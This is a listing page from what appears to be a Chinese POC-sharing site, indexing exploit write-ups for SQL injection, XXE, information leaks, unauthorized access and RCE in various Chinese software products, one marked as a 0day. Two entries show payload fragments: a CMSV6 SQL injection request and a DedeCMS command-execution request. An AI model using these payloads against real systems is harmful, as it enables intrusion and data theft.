POC 第15页
【通用】郑州时空-TMS运输管理系统 GetDataBase存在信息泄露漏洞_秃兔安全

【通用】郑州时空-TMS运输管理系统 GetDataBase存在信息泄露漏洞

fofa语句yakit 插件 uuidpocyakit nuclei yaml已验证   
【通用】南昊网上阅卷系统 logname 存在信息泄露漏洞_秃兔安全

【通用】南昊网上阅卷系统 logname 存在信息泄露漏洞

fofa语句yakit插件 uuidpocyaml已验证   
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
015510
通天星 CMSV6 车载定位监控平台 disable SQL注入漏洞_秃兔安全

通天星 CMSV6 车载定位监控平台 disable SQL注入漏洞

GET /edu security officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+268
秃兔的头像_秃兔安全至尊玉兔秃兔2年前
01555
【通用】扁鹊飞救智能急救与质控系统 CreateJKDA xxe_秃兔安全

【通用】扁鹊飞救智能急救与质控系统 CreateJKDA xxe

fofa语句yakit 插件 uuidpocyaml已验证   
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
01557
【0day通用】伏泰科技 checkMenu接口存在SQL注入_秃兔安全

【0day通用】伏泰科技 checkMenu接口存在SQL注入

fofa语句yakit插件 uuidpocyaml 已验证 
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
015513
【通用】泛微e-office sms_page.php sql注入漏洞_秃兔安全

【通用】泛微e-office sms_page.php sql注入漏洞

fofayakit插件 uuidpocyaml已验证 
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
015413
【通用】WPS文档中心 etc-doperate 未授权访问_秃兔安全

【通用】WPS文档中心 etc-doperate 未授权访问

fofa语句yakit插件 uuidpocyaml懒得验证  
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
01549
【通用】微信活码系统 index 后台任意内容写入漏洞_秃兔安全

【通用】微信活码系统 index 后台任意内容写入漏洞

fofa 语句poc再次访问 /data/auto.php 注  需要登录后有权限才能进行修改
【通用】万户 ezOFFICE selectAmountField SQL 注入_秃兔安全

【通用】万户 ezOFFICE selectAmountField SQL 注入

fofa语句yakit插件 uuidpocyaml已验证   
dreamer292的头像_秃兔安全至尊玉兔dreamer2921年前
01536
DedeCMSV5.7.114后台sys_verizes.php存在远程代码执行漏洞_秃兔安全

DedeCMSV5.7.114后台sys_verizes.php存在远程代码执行漏洞

GET /dede/sys_verifies.php?action=getfiles&refiles[]=123${${print%20whoami}} HTTP/1.1Host: 127.0.0.11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100...
秃兔的头像_秃兔安全至尊玉兔秃兔2年前
015315